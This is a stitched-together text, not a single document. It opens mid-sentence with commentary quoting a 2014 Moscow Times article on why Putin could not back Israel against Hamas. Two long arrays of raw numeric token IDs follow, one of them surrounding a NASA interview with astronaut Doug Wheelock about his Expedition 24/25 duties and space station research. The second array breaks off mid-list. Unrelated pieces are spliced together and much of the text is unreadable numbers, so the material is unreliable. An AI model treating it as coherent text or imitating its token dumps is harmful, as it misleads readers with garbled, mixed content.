definitely not supporting the Islamists of Hamas in Gaza, but she cannot go against Hamas either, because this would interrupt her relations with Iran, as you can read at the following Moscow Times article, tilted "Despite His Sympathy, Putin Is Unable to Support Israel Against Hamas", July 2014. You can read in the article that even though there are 1 million Israelis of Russian origin living in Israel, and even though Putin is the first Russian president who has not cultivated anti-Semitism in Russia, Russia cannot support Israel in its fight against Hamas, because for many years Iran has been supplying Hamas with arms. The article also mentions that Putin was the first Russian president to visit Israel, and that Russia does not consider Hamas to be a terrorist organization, as many other countries do, and that the leader of Hamas visited Russia in 2010. 17th, 18th, 19th, 20th, 21st and 22nd Paragraphs More than 1 million Russian and Soviet immigrants live in Israel today, forming a powerful political lobby. Unlike many former Russian leaders, Putin has not exhibited any signs of anti-Semitism during his time in office. On the contrary, he was the first Russian head of state to visit the country, and has demonstrated strong interest in Israel's culture and its connections with Russia. According to Satanovsky, Putin represents a new approach to the Jews. "He is not a hostage to myths, and anti-Semitism does not interest him. He visited Auschwitz despite strong opposition from many political forces in Russia," he said. However, leaders of Hamas, considered a terrorist organization by most Western states, visited Moscow in 2006 after a personal invitation from Putin. Putin did not meet with its leaders at the time, but President Dmitry Medvedev met with Hamas's political leader Khaled Mashal in Syria in 2010. Mashal was scheduled to pay another visit to Moscow this summer, but the trip was postponed due to the armed conflict in Israel, according to Yelena Suponina, head of the Asia and Middle East Center at the Russian Institute of Strategic Studies. According to Suponina, Russia has been trying hard to refrain from embracing one side of the conflict in order to boost its influence in world affairs, given that it has much less resources at its disposal than the U.S. 25th, 26th and 27th Paragraphs To straddle the interests of different powers, Putin also has to avoid upsetting Iran, analysts agreed. Iran has been supplying Hamas with armaments and financial aid for years. Following the Monday cease-fire attempt, the Iranian-backed Hezbollah organization has already been sending more missiles to rearm Hamas in the Gaza strip, news website Wnd.com reported on Tuesday. Russia has been opposing the imposition of U.S. sanctions against Iran over the country's nuclear program. Iran is also one of the key supporters of the Syrian President Bashar Assad, who is also backed by Putin. http://www.themoscowtimes.com/news/article/despite-his-sympathy-putin-is-unable-to-support-israel-against-hamas/503466.html

[ 1841, 604, 368, 5386, 12926, 432, 253, 5150, 13, 285, 672, 368, 513, 326, 13, 359, 923, 1841, 326, 368, 476, 457, 85, 923, 1060, 327, 7565, 275, 253, 1039, 273, 2561, 15, 2091, 368, 457, 250, 2104, 281, 513, 326, 13, 273, 2282, 13, 776, 8103, 273, 2509, 841, 1841, 310, 281, 9413, 1633, 747, 15, 2091, 359, 1007, 387, 841, 1841, 13, 323, 4227, 13, 432, 3332, 2561, 327, 253, 2317, 4660, 841, 1652, 2494, 2910, 16954, 326, 544, 609, 62, 247, 1039, 281, 22642, 335, 907, 247, 19267, 326, 812, 2686, 320, 20870, 281, 2983, 13, 1339, 457, 84, 1333, 13, 359, 457, 620, 897, 271, 1650, 13, 247, 2923, 894, 15, 2091, 368, 476, 1287, 326, 13120, 985, 275, 247, 1264, 14, 6967, 1533, 13, 352, 4916, 625, 3962, 13, 625, 6447, 13, 352, 476, 320, 6830, 20870, 275, 247, 1027, 1039, 15, 496, 253, 1232, 273, 2819, 387, 326, 13, 352, 812, 671, 45661, 2173, 3672, 390, 3608, 390, 5913, 352, 1537, 320, 326, 359, 878, 281, 2303, 15, 1893, 407, 11922, 12926, 432, 253, 5150, 285, 1146, 2104, 281, 1287, 841, 1841, 627, 457, 84, 29709, 84, 326, 309, 1928, 403, 816, 6179, 323, 441, 281, 9413, 15, 1583, 457, 250, 562, 627, 13, 285, 359, 871, 597, 403, 15, 844, 457, 306, 2168, 4895, 690, 273, 841, 4870, 281, 7565, 13, 417, 760, 275, 253, 3652, 273, 747, 4753, 533, 253, 1275, 1699, 273, 1027, 4753, 13, 253, 1275, 1699, 273, 19267, 84, 13, 285, 309, 1158, 359, 457, 250, 816, 1469, 281, 923, 625, 285, 625, 29709, 84, 347, 359, 1379, 247, 1007, 387, 841, 6297, 285, 841, 17110, 285, 15991, 1293, 12926, 275, 253, 5150, 15, 187, 187, 34, 1344, 27245, 12572, 44362, 825, 13, 45626, 539, 2164, 8630, 16518, 285, 45626, 539, 2030, 17747, 13, 2789, 2457, 26847, 327, 247, 3733, 2715, 273, 521, 33838, 32731, 8070, 28680, 874, 16062, 313, 3172, 54, 10, 8470, 2338, 275, 9008, 323, 247, 2317, 13678, 3733, 6874, 275, 253, 12685, 273, 253, 3532, 21906, 11262, 899, 4306, 18196, 313, 47, 5993, 10, 2822, 18228, 434, 7902, 11122, 5197, 15, 15837, 6152, 27, 18228, 187, 187, 1394, 457, 250, 247, 3558, 273, 253, 5625, 11122, 14628, 457, 84, 45626, 539, 2164, 285, 2030, 32173, 15, 12572, 13, 26799, 752, 634, 2022, 19715, 403, 1469, 281, 320, 285, 253, 4583, 5827, 323, 634, 673, 275, 2317, 1060, 15, 187, 187, 3039, 359, 806, 12666, 327, 253, 4660, 359, 457, 250, 629, 273, 253, 45626, 539, 2164, 10402, 13, 285, 309, 457, 78, 2686, 47395, 281, 320, 253, 17747, 273, 45626, 539, 2030, 13, 594, 352, 4245, 479, 247, 2372, 273, 673, 281, 755, 653, 1062, 264, 598, 13, 281, 755, 4704, 281, 1379, 3923, 273, 253, 2317, 4660, 432, 776, 7247, 17747, 323, 45626, 539, 2164, 13, 534, 310, 13651, 8229, 87, 430, 46508, 15, 309, 457, 620, 789, 2366, 342, 13651, 347, 359, 2746, 253, 45626, 539, 2030, 673, 3665, 281, 513, 619, 789, 8777, 281, 320, 4704, 281, 1379, 3923, 273, 253, 4660, 13, 594, 326, 457, 84, 619, 3625, 2770, 13, 273, 2282, 15, 20148, 272, 619, 9550, 3740, 281, 320, 2104, 281, 1408, 285, 10196, 253, 4660, 347, 247, 17747, 13, 30191, 366, 8892, 281, 253, 2710, 10402, 2758, 13, 285, 281, 1978, 253, 6215, 12060, 15, 1893, 326, 457, 84, 619, 3625, 4836, 13, 285, 309, 457, 78, 1077, 1199, 2819, 3579, 281, 12060, 22995, 436, 29553, 528, 5145, 15, 187, 187, 5279, 253, 2282, 273, 2800, 2607, 368, 457, 250, 1469, 281, 320, 2509, 690, 7796, 285, 690, 9363, 13, 285, 5859, 13, 512, 273, 352, 15, 187, 187, 4374, 15, 733, 457, 84, 247, 9386, 9965, 15, 380, 1390, 673, 309, 369, 627, 13, 309, 369, 327, 3915, 52, 14, 8193, 15, 844, 2686, 2335, 598, 253, 16459, 374, 534, 369, 253, 14713, 323, 253, 5213, 10471, 457, 30684, 15, 733, 457, 84, 247, 1199, 4067, 1659, 1024, 285, 247, 4751, 14, 3701, 272, 5213, 9965, 15, 544, 42, 457, 78, 62, 1077, 9049, 670, 253, 5859, 629, 273, 352, 285, 13, 273, 2282, 13, 1024, 352, 457, 84, 1199, 4067, 13, 285, 359, 457, 306, 1694, 1142, 1027, 8790, 24926, 326, 403, 8527, 2366, 15, 1893, 253, 9363, 285, 253, 598, 19773, 285, 7562, 253, 5145, 12060, 556, 1694, 2559, 7881, 13, 273, 2282, 15, 309, 923, 619, 2554, 347, 13, 342, 619, 4114, 347, 247, 1071, 11572, 285, 271, 16518, 310, 281, 1978, 253, 30684, 6498, 13, 25145, 253, 10402, 13, 512, 273, 441, 13, 281, 513, 1270, 5859, 285, 3324, 352, 896, 281, 776, 10950, 1060, 327, 7565, 281, 1056, 1495, 1805, 1060, 285, 1056, 776, 12060, 10679, 1014, 1805, 594, 359, 476, 564, 4457, 7565, 12801, 15, 187, 187, 1394, 3324, 598, 247, 4564, 273, 4722, 2792, 15, 380, 4660, 556, 4391, 1580, 368, 497, 627, 275, 5215, 28, 752, 310, 352, 368, 457, 250, 954, 2819, 3579, 281, 6523, 672, 368, 564, 896, 32, 187, 187, 42625, 2217, 13, 309, 457, 78, 1077, 1199, 2819, 3579, 13, 347, 359, 1705, 715, 253, 3816, 26196, 30571, 3408, 13, 672, 359, 1705, 598, 327, 36267, 1388, 15, 309, 457, 78, 1663, 9049, 281, 923, 253, 9759, 273, 253, 2317, 4660, 275, 776, 2746, 7990, 13, 776, 2831, 73, 3514, 13, 604, 368, 588, 13, 347, 359, 2746, 253, 4660, 15, 309, 4456, 849, 1199, 309, 369, 275, 34369, 672, 359, 17463, 264, 342, 253, 30201, 29600, 896, 275, 5215, 13, 285, 359, 497, 9745, 253, 16459, 374, 598, 15, 309, 369, 816, 3768, 383, 32068, 387, 253, 1979, 273, 253, 4660, 816, 14203, 627, 1411, 253, 5766, 1632, 285, 8485, 1255, 273, 2317, 15, 733, 369, 816, 8839, 14911, 48150, 15, 309, 457, 78, 2819, 3579, 281, 253, 4958, 13, 2315, 40182, 6333, 1979, 310, 4829, 7019, 253, 1979, 347, 672, 309, 1669, 285, 594, 13, 1663, 9049, 281, 923, 816, 253, 12546, 414, 273, 849, 352, 10262, 3139, 2378, 359, 3135, 253, 2746, 15, 2635, 253, 643, 2181, 13, 5046, 3686, 273, 19063, 13256, 1037, 326, 309, 457, 78, 2819, 3579, 281, 310, 13, 327, 3915, 52, 14, 8193, 359, 33172, 253, 9666, 3781, 327, 581, 273, 776, 9463, 1909, 13, 3686, 273, 247, 46729, 9463, 34, 835, 359, 2427, 562, 285, 33172, 253, 367, 23, 9666, 3781, 15, 844, 1691, 275, 690, 773, 68, 2066, 23053, 1806, 2620, 773, 68, 2066, 23053, 668, 327, 253, 3781, 285, 5262, 247, 2257, 273, 673, 562, 627, 285, 1694, 2238, 273, 5412, 562, 627, 15, 733, 369, 247, 1077, 11132, 4836, 13, 285, 309, 457, 78, 2686, 2238, 273, 9049, 281, 1007, 562, 285, 923, 1110, 773, 68, 2066, 23053, 668, 2509, 616, 2628, 562, 627, 327, 326, 9666, 3781, 13, 1512, 15, 187, 187, 1466, 479, 755, 368, 281, 7522, 275, 690, 273, 253, 2508, 15, 1198, 512, 253, 2544, 326, 452, 4783, 327, 1580, 368, 457, 306, 644, 627, 13, 6266, 253, 5625, 11122, 14628, 13, 253, 1659, 326, 352, 310, 3063, 342, 697, 2710, 30684, 285, 643, 2329, 39886, 285, 11911, 15, 187, 187, 1147, 457, 84, 816, 247, 15143, 1659, 13, 285, 309, 457, 306, 3735, 352, 2529, 347, 253, 6425, 273, 751, 247, 29316, 14, 15044, 14, 8938, 34034, 14, 4826, 1728, 13, 1264, 14098, 13, 767, 8158, 13, 670, 326, 1199, 4644, 15, 2726, 2800, 952, 1475, 13, 352, 457, 84, 2686, 247, 3965, 1943, 1659, 15, 309, 369, 1663, 3965, 3768, 383, 32068, 672, 359, 5485, 253, 32732, 432, 253, 30201, 281, 564, 3304, 253, 4660, 13, 849, 37039, 352, 369, 285, 1024, 352, 457, 84, 1469, 281, 320, 1014, 625, 594, 15, 2091, 368, 2746, 352, 432, 253, 3345, 285, 672, 368, 457, 250, 3345, 327, 253, 9463, 34, 2819, 387, 253, 4660, 13, 352, 457, 84, 3686, 273, 25850, 2819, 28, 352, 457, 84, 1694, 3168, 285, 18719, 9830, 285, 13, 273, 2282, 13, 5328, 285, 690, 9711, 18719, 9830, 15, 2091, 368, 452, 347, 247, 37924, 253, 5389, 9830, 273, 253, 7565, 13, 390, 1014, 253, 29274, 8485, 1255, 273, 253, 37924, 273, 3676, 2317, 13, 352, 457, 84, 9572, 562, 15, 733, 457, 84, 2761, 751, 247, 5313, 273, 1445, 13, 326, 1663, 3936, 634, 6345, 1977, 15, 3954, 342, 841, 30684, 4751, 15415, 359, 457, 250, 1077, 9049, 670, 253, 5859, 13, 285, 359, 457, 306, 2168, 2326, 690, 273, 326, 5859, 1091, 281, 7565, 275, 8655, 4870, 1097, 275, 253, 3739, 1673, 285, 253, 1673, 273, 28138, 3116, 285, 1841, 751, 436, 15, 844, 457, 250, 6523, 841, 1841, 10884, 1024, 13, 285, 359, 457, 250, 9049, 670, 11440, 436, 2561, 594, 359, 476, 3324, 896, 285, 1056, 436, 247, 1805, 1659, 835, 359, 3153, 285, 671, 10347, 441, 281, 564, 4457, 15, 187, 187, 1466, 457, 84, 2312, 670, 690, 273, 1110, 15, 1422, 403, 1469, 281, 452, 2800, 10402, 2758, 13, 323, 253, 954, 629, 13, 594, 627, 457, 84, 625, 673, 1469, 281, 320, 5262, 327, 5859, 275, 625, 30684, 15, 2596, 273, 253, 16633, 273, 4660, 5859, 556, 644, 670, 4560, 849, 952, 3794, 281, 1146, 275, 326, 2801, 1417, 3126, 285, 849, 597, 3794, 840, 281, 10884, 281, 12926, 15, 25664, 247, 1652, 2372, 670, 1146, 581, 273, 253, 2561, 5705, 323, 1110, 9351, 273, 4679, 27, 752, 4679, 588, 368, 320, 3206, 275, 13, 285, 752, 2238, 273, 1841, 513, 368, 285, 634, 10402, 13239, 452, 281, 513, 281, 9580, 253, 941, 323, 326, 32, 187, 187, 1147, 457, 84, 2686, 3686, 273, 247, 5322, 1652, 20506, 5043, 326, 359, 452, 672, 359, 457, 250, 2509, 253, 5859, 323, 253, 10950, 1060, 327, 7565, 15, 844, 671, 13, 407, 12060, 275, 2317, 323, 2800, 2607, 13, 390, 987, 1475, 2800, 2607, 13, 359, 457, 250, 3686, 273, 7446, 839, 752, 352, 651, 1379, 323, 253, 2538, 327, 253, 1966, 2133, 273, 3095, 12060, 281, 13648, 390, 2403, 247, 1048, 9455, 281, 690, 3686, 273, 247, 33600, 2133, 390, 5046, 1014, 247, 2822, 14, 38735, 46125, 390, 1633, 751, 436, 15, 1893, 275, 253, 1232, 273, 2509, 326, 359, 476, 2686, 452, 5859, 2684, 327, 441, 347, 973, 15, 4683, 2282, 13, 352, 6613, 253, 18814, 307, 273, 2712, 432, 253, 2173, 1453, 273, 776, 6196, 387, 667, 1677, 673, 13, 3192, 13, 10499, 15, 4683, 2282, 13, 359, 3812, 1097, 2614, 285, 16327, 13, 285, 359, 513, 5216, 327, 1016, 643, 347, 2080, 347, 32902, 17629, 285, 1841, 751, 436, 13, 281, 1007, 387, 4828, 48942, 13, 281, 1007, 387, 849, 359, 476, 1805, 1347, 327, 247, 1048, 14, 27076, 7517, 15, 4683, 2282, 13, 604, 368, 403, 253, 806, 581, 281, 3213, 3174, 327, 13648, 13, 672, 368, 755, 627, 846, 247, 1048, 9455, 13, 368, 971, 281, 320, 2104, 281, 1462, 598, 327, 253, 8859, 13, 594, 247, 2257, 273, 776, 2561, 326, 359, 457, 250, 2509, 310, 9073, 441, 2096, 417, 760, 849, 281, 1978, 841, 10679, 12060, 326, 1379, 441, 627, 13, 533, 671, 849, 281, 1978, 544, 10801, 281, 2994, 62, 841, 10679, 12060, 13, 594, 326, 672, 359, 755, 627, 359, 476, 513, 841, 13433, 285, 9386, 1841, 326, 359, 457, 306, 9355, 281, 513, 15, 1893, 1016, 1388, 359, 457, 250, 2057, 3206, 275, 690, 3686, 273, 5763, 4828, 30238, 285, 3192, 326, 941, 28, 359, 5007, 247, 2257, 273, 326, 941, 281, 253, 3216, 15, 10635, 327, 3045, 1309, 247, 1798, 5763, 13, 359, 1379, 6341, 273, 2614, 13, 359, 1379, 16327, 3530, 285, 1841, 285, 5007, 1110, 281, 253, 3216, 15, 844, 671, 452, 253, 14603, 327, 4450, 281, 12106, 841, 1841, 390, 1361, 10950, 12106, 841, 1841, 13, 281, 1663, 3653, 752, 457, 84, 9369, 281, 253, 1966, 2133, 275, 5058, 305, 390, 2822, 14, 10528, 305, 13, 2494, 305, 13, 285, 849, 359, 457, 250, 1469, 281, 1973, 841, 8470, 16458, 273, 253, 2852, 326, 403, 1469, 281, 1379, 441, 281, 643, 33600, 8248, 15, 733, 457, 84, 2686, 1077, 12302, 13, 285, 309, 457, 78, 417, 247, 20687, 407, 5454, 13, 594, 323, 479, 13, 347, 271, 16518, 285, 247, 3686, 273, 247, 773, 1274, 3998, 668, 2238, 273, 1436, 13, 352, 457, 84, 1663, 2238, 273, 794, 281, 923, 253, 1445, 285, 5859, 273, 436, 1511, 273, 2561, 1705, 2366, 285, 281, 1663 ]

things if you remove gravity from the equation, and when you do that, we see things that you can’t see here on Earth in the way of research. When you’re able to do that, of course, our objective of doing these things is to discover something new. When we look at these things, for instance, from recent research on the space station these little microballoons that [are] a way to encapsulize a pharmaceutical that could actually be transported to attack, let’s say, we’ll use an example, a cancer cell. When you can develop that transportation system in a three-dimensional world, it becomes more perfect, more uniform, it can be possibly transported in a different way. In the process of looking at that, it could also pinpoint specific areas or genes or whatever it might be that we need to target. So by removing gravity from the equation and being able to develop these things there’s breakthroughs that I feel are just waiting for us to discover. They’re out there, and we know they are. We’ve already returned some of these processes to Earth, not only in the building of new materials but the refining of different materials, the refining of pharmaceuticals, and I think we’re just going to see more and more breakthroughs as we take a look at these mechanisms and these chemicals and substances without gravity in the equation. Astronaut Doug Wheelock, Expedition 24 flight engineer and Expedition 25 commander, makes final touches on a training version of his Extravehicular Mobility Unit (EMU) spacesuit in preparation for a spacewalk training session in the waters of the Neutral Buoyancy Laboratory (NBL) near NASA's Johnson Space Center. Photo credit: NASA You’re a member of the International Space Station’s Expedition 24 and 25 crews. Doug, summarize what your main responsibilities are going to be and the overall plans for your time in space here. When we first arrive on the station we’re part of the Expedition 24 crew, and I’m actually slated to be the commander of Expedition 25, so it gives me a bit of time to get spooled up, to get ready to take command of the space station from our Russian commander for Expedition 24, which is Alexander Skvortsov. I’ll work together with Alexander as we approach the Expedition 25 time frame to do my workups to be ready to take command of the station, so that’s my primary focus, of course. Developing my leadership style to be able to run and operate the station as a commander, delineate tasks to the various crew members, and to keep the ship flying. So that’s my primary task, and I’m very much looking forward to flying aboard this marvelous machine. Over the course of six months you’re going to be doing some assembly and some maintenance, and science, all of it. Yes. It’s a wonderful laboratory. The last time I was there, I was on STS-120. We actually took up the Node 2 which was the hub for the international partners’ laboratories. It’s a much larger place now and a fully-functioning international laboratory. [I’m] very excited about the science part of it and, of course, now it’s much larger, and we’ve got many different subsystems that are integrated together. So the maintenance and the upkeep and keeping the machine flying has got increased challenges, of course. I see my role as, with my background as a test pilot and an engineer is to keep the laboratories operating, empower the crew, all of us, to do great science and bring it back to our scientists here on Earth to make life better here and make our flying machines even better so we can go beyond Earth orbit. You bring up a couple of interesting points. The station has changed since you were there in 2007; what is it you’re most looking forward to seeing when you go back? Interestingly enough, I’m very much looking forward, as we come into the rendezvous phase, when we come up on docking day. I’m really excited to see the presentation of the space station in our approach scope, our crosshairs, if you will, as we approach the station. I remember how much I was in awe when we docked with the shuttle Discovery back in 2007, and we were bringing the Node 2 up. I was just awestruck at the size of the station just hanging there against the emptiness and vastness of space. It was just absolutely breathtaking. I’m looking forward to the vehicle, pressurized module size is nearly twice the size as when I left and so, really excited to see just the enormity of how it presents itself once we begin the approach. Then the other thing, maybe sort of nostalgically that I’m looking forward to is, on STS-120 we repaired the solar array on one of our EVAs, sort of a contingency EVA where we went out and repaired the P6 solar array. We put in some “cufflinks,” five “cufflinks” on the array and spent a lot of time out there and got kind of cold out there. It was a very challenging task, and I’m actually kind of excited to look out and see those “cufflinks” doing their job out there on that solar array, too. Let me get you to fill in some of the detail. For all the changes that have gone on since you’ve been there, describe the International Space Station, the place that it is today with its various laboratories and other airlocks and modules. It’s just a fantastic place, and I’ve heard it described as the equivalent of like a 1800-square-foot ranch-style home, three bedroom, two bath, about that much volume. With six people around, it’s actually a pretty big place. I was really pretty awestruck when we opened the hatch from the shuttle to go inside the station, how spacious it was and now it’s going to be even more so. When you approach it from the outside and when you’re outside on the EVA looking at the station, it’s sort of sterile looking; it’s got white and metallic colors and, of course, gold and some silver metallic colors. When you have as a backdrop the beautiful colors of the Earth, or even the stark vastness of the backdrop of deep space, it’s stands out. It’s almost like a piece of art, that really takes your breath away. Now with these laboratories fully functioning we’re very excited about the science, and we’ve already seen some of that science return to Earth in enhanced processes both in the medical field and the field of crystalline growth and things like this. We’re seeing these things returning now, and we’re excited about continuing this research so we can bring back and make this a better place where we live and also prepare us to go beyond. Let’s talk about some of those. You are going to have six crew members, for the most part, so there’s more time going to be spent on science in more laboratories. One of the focuses of station science has been about finding how people respond to being in that weightless environment and how they respond then to returning to gravity. Talk a little bit about being one of the research subjects for those kinds of experiments: what experiments will you be involved in, and what kind of things do you and your crewmates have to do to gather the data for that? It’s actually sort of a nice little collateral plus that we have when we’re doing the science for the scientists here on Earth. We also, by flying in space for six months, or right around six months, we’re sort of replicating what it would take for the effects on the human body of someone flying to Mars or making a long journey to some sort of a planetary body or maybe even a near-Earth asteroid or something like this. So in the process of doing that we can actually have science performed on us as well. Of course, it runs the gamut of anything from the specific control of our diet at any given time, taking, measuring. Of course, we draw both blood and urine, and we do tests on each other as far as echocardiograms and things like this, to look at countermeasures, to look at how we can better perform on a long-duration mission. Of course, if you are the first one to step foot on Mars, when you get there after a long journey, you want to be able to stand up on the planet, so a lot of our research that we’re doing is helping us understand not only how to keep these machines flying that take us there, but also how to keep [points to himself] these machines flying, so that when we get there we can do these bold and wonderful things that we’ve planned to do. So each day we’re either involved in some sort of exercise countermeasure and taking that data; we send a lot of that data to the ground. Based on performance during a particular exercise, we take measurements of blood, we take urine samples and things and send those to the ground. We also have the capability on board to analyze these things or help scientists analyze these things, to really determine what’s happening to the human body in zero g or near-zero g, micro g, and how we’re going to build these spaceships of the future that are going to take us to other planetary bodies. It’s actually very exciting, and I’m not a scientist by trade, so for me, as an engineer and a sort of a “left brain” kind of person, it’s really kind of fun to see the art and science of this type of research come together and to really

[ 306, 9269, 247, 1618, 273, 4957, 326, 2408, 281, 247, 11320, 13725, 15, 1680, 619, 1618, 23539, 32, 15594, 15, 309, 452, 247, 1643, 4957, 309, 5257, 281, 9644, 327, 625, 685, 2571, 13, 285, 690, 4957, 309, 778, 43413, 417, 4409, 253, 45454, 273, 8785, 15, 380, 1524, 5161, 273, 8360, 36, 310, 281, 4459, 752, 2789, 3282, 323, 368, 15, 16600, 247, 6255, 47966, 3515, 323, 253, 1735, 2129, 390, 767, 285, 923, 849, 1142, 2069, 368, 1333, 773, 42, 5730, 309, 574, 247, 795, 15362, 342, 479, 6598, 2635, 368, 457, 250, 1469, 281, 320, 745, 285, 3515, 327, 253, 1039, 281, 3652, 634, 1211, 8360, 36, 13, 285, 5046, 309, 457, 620, 320, 2819, 387, 634, 11320, 13725, 327, 7879, 3517, 2, 12520, 1288, 75, 30366, 5523, 1012, 14, 28059, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 9312, 94, 187, 187, 12520, 1288, 75, 30366, 5523, 1012, 14, 28835, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 13381, 94, 187, 187, 12520, 1288, 75, 30366, 5523, 1012, 14, 22140, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 11946, 94, 187, 187, 12520, 1288, 75, 30366, 5523, 1012, 14, 29407, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 8196, 94, 187, 187, 12520, 1288, 75, 30366, 5523, 1012, 14, 31202, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 13482, 94, 187, 187, 12520, 1288, 75, 30366, 5523, 1012, 14, 31272, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 11246, 94, 187, 35, 506, 1971, 313, 12306, 23492, 10, 187, 187, 35, 506, 9694, 403, 2728, 9694, 326, 23923, 1580, 253, 18353, 1897, 273, 5328, 12306, 4466, 15, 50276, 3726, 403, 3477, 281, 4459, 562, 15, 50276, 4041, 273, 253, 954, 3576, 5199, 310, 1925, 253, 7043, 8158, 534, 310, 3240, 3576, 275, 2827, 18535, 839, 260, 31689, 27338, 432, 253, 6773, 15, 50276, 6436, 13, 627, 403, 671, 19437, 13, 3021, 417, 8521, 13, 8158, 9694, 824, 347, 253, 897, 273, 2176, 18042, 390, 35347, 275, 253, 8158, 15, 187, 187, 35, 506, 1971, 476, 2057, 320, 2159, 14, 3945, 313, 66, 346, 31665, 2807, 390, 1048, 14, 3945, 313, 4064, 247, 1643, 3038, 281, 1249, 390, 2164, 3038, 390, 3356, 481, 187, 187, 10818, 13211, 908, 275, 8158, 9694, 187, 46061, 27, 253, 954, 3576, 8158, 1971, 13, 285, 310, 908, 281, 13469, 260, 31689, 21634, 8636, 266, 27338, 313, 10387, 18119, 275, 1355, 6773, 558, 671, 908, 281, 33204, 253, 11058, 273, 12389, 3852, 13, 285, 281, 4796, 253, 31624, 3875, 3473, 33916, 407, 5352, 14, 7779, 327, 667, 7793, 275, 253, 4808, 390, 305, 408, 28, 399, 375, 486, 285, 34931, 27, 1916, 4711, 247, 470, 15, 20, 6, 7043, 2900, 313, 66, 1971, 24411, 1411, 954, 21634, 8636, 266, 27338, 582, 337, 23451, 273, 7043, 310, 908, 591, 46740, 273, 1824, 28, 281, 4711, 247, 470, 15, 23, 6, 7043, 2900, 313, 66, 1971, 24411, 1411, 1535, 469, 351, 1758, 582, 374, 18850, 273, 7043, 323, 1046, 581, 46740, 273, 1824, 28, 285, 281, 4711, 247, 470, 15, 26, 6, 7043, 2900, 13, 495, 18850, 273, 7043, 323, 1046, 581, 46740, 273, 1824, 187, 34, 7083, 338, 19306, 460, 27, 247, 6422, 18722, 908, 323, 12767, 21634, 8636, 507, 13, 39565, 13, 21420, 13, 473, 351, 249, 1514, 285, 48927, 312, 5741, 187, 1779, 3833, 6771, 308, 27, 247, 40163, 552, 33322, 8508, 908, 281, 1453, 10741, 305, 408, 2728, 285, 892, 41757, 187, 42, 5120, 14295, 27, 1959, 14, 630, 14295, 908, 281, 5159, 9574, 285, 27338, 187, 18157, 39806, 27, 271, 13188, 9429, 908, 1411, 41664, 21254, 13, 14979, 19901, 285, 8024, 22228, 40014, 187, 37, 1406, 10179, 27, 247, 12575, 830, 273, 268, 5744, 3008, 386, 293, 908, 281, 2590, 892, 41757, 285, 35231, 187, 22532, 1190, 27, 436, 310, 247, 7138, 273, 1313, 1406, 37683, 285, 310, 247, 1971, 273, 4327, 323, 48927, 312, 5741, 285, 2101, 2002, 2627, 316, 187, 6623, 17936, 308, 5375, 27, 908, 1411, 2938, 413, 2192, 35804, 187, 39, 1939, 249, 27, 436, 310, 48306, 3678, 275, 1824, 908, 281, 347, 247, 794, 72, 9429, 285, 1971, 1411, 690, 10741, 10332, 13, 260, 31689, 21634, 8636, 507, 285, 892, 41757, 187, 39, 321, 1370, 531, 4759, 27, 247, 5019, 273, 767, 390, 1264, 11829, 266, 18042, 187, 17557, 607, 614, 4759, 27, 247, 6422, 18722, 326, 35580, 27338, 187, 46, 17428, 4797, 27, 247, 5044, 289, 13306, 460, 18722, 908, 281, 1555, 25158, 10332, 187, 49, 857, 4775, 12174, 27, 247, 7321, 2715, 273, 49632, 908, 281, 1555, 892, 41757, 187, 29255, 20837, 8143, 606, 266, 366, 27, 247, 7318, 461, 280, 42391, 326, 310, 3576, 275, 12767, 892, 41757, 13, 25158, 10332, 13, 10741, 305, 408, 2728, 13, 10741, 10332, 273, 253, 2133, 285, 45006, 13, 285, 260, 31689, 21634, 8636, 507, 2192, 383, 569, 3707, 18119, 187, 20053, 27, 310, 298, 2375, 257, 27658, 534, 310, 3576, 1411, 14979, 19901, 13, 41664, 21254, 285, 8024, 22228, 40014, 187, 2290, 45205, 1306, 27, 310, 20978, 45205, 1306, 17016, 534, 310, 247, 372, 36141, 272, 12358, 187, 187, 4941, 187, 187, 1413, 27, 48290, 6578, 3788, 50, 2300, 187, 187, 3788, 50, 2300, 310, 247, 1982, 14, 3169, 3275, 2567, 2714, 3006, 275, 26503, 285, 10515, 11867, 3420, 15, 380, 2567, 369, 4232, 407, 247, 1355, 1387, 273, 26503, 3440, 285, 4466, 26987, 13, 1996, 7552, 247, 9025, 273, 495, 35, 11263, 3690, 15, 346, 3788, 50, 2300, 3, 310, 271, 26503, 3159, 4495, 247, 1899, 273, 1029, 12368, 358, 15, 50276, 1147, 671, 10770, 281, 247, 12256, 4438, 275, 26503, 3440, 326, 310, 1754, 327, 253, 7150, 14, 48619, 4311, 313, 24850, 280, 6429, 82, 312, 481, 187, 187, 510, 2567, 434, 10630, 10567, 4384, 2670, 310, 2783, 281, 320, 346, 510, 3645, 434, 5962, 327, 14, 1282, 2603, 323, 26503, 11412, 3446, 50276, 688, 5215, 253, 2567, 10098, 253, 806, 4320, 26503, 3440, 5865, 2579, 13, 6908, 50, 2300, 12732, 20, 13, 285, 253, 806, 3909, 26503, 3440, 5553, 16, 4963, 272, 2579, 15, 50276, 510, 2567, 11330, 253, 31122, 7979, 6857, 5553, 2086, 13951, 6908, 50, 2300, 13, 534, 310, 10675, 13772, 327, 1345, 5553, 13, 285, 310, 17386, 407, 32799, 274, 4033, 23248, 15, 380, 921, 310, 253, 806, 2455, 26503, 4964, 327, 1345, 5553, 15, 496, 4104, 13, 253, 5553, 2086, 4395, 281, 247, 767, 14, 11964, 5981, 327, 690, 10988, 13, 2112, 342, 2067, 294, 14, 83, 4539, 1309, 253, 2129, 327, 2571, 15, 187, 187, 3788, 50, 2300, 3054, 326, 347, 271, 6003, 352, 556, 346, 66, 7517, 281, 14003, 285, 8591, 26503, 285, 10515, 11867, 4466, 1475, 253, 1533, 3446, 496, 6585, 253, 2567, 820, 14, 36008, 247, 42628, 800, 5400, 323, 24923, 258, 438, 4760, 17311, 343, 32799, 343, 7429, 19926, 43191, 312, 571, 15, 831, 369, 3560, 407, 1529, 258, 438, 5400, 323, 24923, 473, 438, 48864, 90, 1284, 303, 1219, 39293, 18754, 7429, 4200, 1432, 255, 15, 187, 187, 688, 5826, 13, 253, 2567, 48228, 253, 806, 27199, 14, 4826, 38882, 3275, 273, 26503, 285, 10515, 11867, 11012, 285, 3440, 275, 17413, 13, 4047, 1925, 329, 20909, 273, 20498, 15, 831, 369, 3560, 407, 247, 2962, 273, 2722, 275, 10497, 285, 840, 253, 1982, 24654, 275, 8068, 327, 3978, 1249, 13, 4695, 15, 50276, 510, 921, 2959, 4618, 7031, 275, 253, 3420, 13, 285, 369, 